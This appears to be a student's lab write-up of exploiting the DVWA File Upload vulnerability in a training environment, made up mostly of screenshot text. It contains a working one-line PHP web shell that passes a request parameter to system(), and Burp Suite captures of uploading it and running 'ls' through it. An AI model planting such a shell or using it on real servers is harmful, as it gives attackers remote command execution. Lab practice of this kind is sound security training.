

# Esercizio S6L1: Simone Esposito

```
kali@kali: ~  
File Actions Edit View Help  
GNU nano 8.0 192.168.5.101/dvwa/vulnerabilities/shell.php  
<?php system($_REQUEST["cmd"]); ?>
```

**DVWA**

## Vulnerability: File Upload

Choose an image to upload:

shell.php

### More info

[http://www.owasp.org/index.php/Unrestricted\\_File\\_Upload](http://www.owasp.org/index.php/Unrestricted_File_Upload)  
<http://blogs.securiteam.com/index.php/archives/1268>  
<http://www.acunetix.com/websecurity/upload-forms-threat.htm>

**Burp Suite Community Edition v2024.4.5 - Temporary Project**

Dashboard Target **Proxy** Intruder Repeater Collaborator Sequencer Decoder C

Extensions Learn

**Intercept** HTTP history WebSockets history | Proxy settings

Request to http://192.168.5.101:80

Pretty Raw Hex

```
1 GET /dvwa/vulnerabilities/upload/ HTTP/1.1  
2 Host: 192.168.5.101  
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
5 Accept-Language: en-US,en;q=0.5  
6 Accept-Encoding: gzip, deflate, br  
7 Connection: keep-alive  
8 Referer: http://192.168.5.101/dvwa/security.php  
9 Cookie: security=low; PHPSESSID=e16d4dd113bd0b31e87fdb5c668bbfa1  
10 Upgrade-Insecure-Requests: 1  
11
```

Burp Suite Community Edition v2024.4.5 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target **Proxy** Intruder Repeater Collaborator Sequencer Decoder Co

Extensions Learn

Intercept HTTP history WebSockets history | Proxy settings

Request to http://192.168.5.101:80

Forward Drop **Intercept is on** Action Open browser

Pretty Raw Hex

```
1 GET /dvwa/hackable/uploads/shell.php?cmd=ls HTTP/1.1
2 Host: 192.168.5.101
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Referer: http://192.168.5.101/dvwa/security.php
9 Cookie: security=low; PHPSESSID=e16d4dd113bd0b31e87fdb5c668bbfa1
10 Upgrade-Insecure-Requests: 1
11
```

← → ↻ 🏠 🛡️ 192.168.5.101/dvwa/vulnerabilities/upload/

/var/www/dvwa/hackable/uploads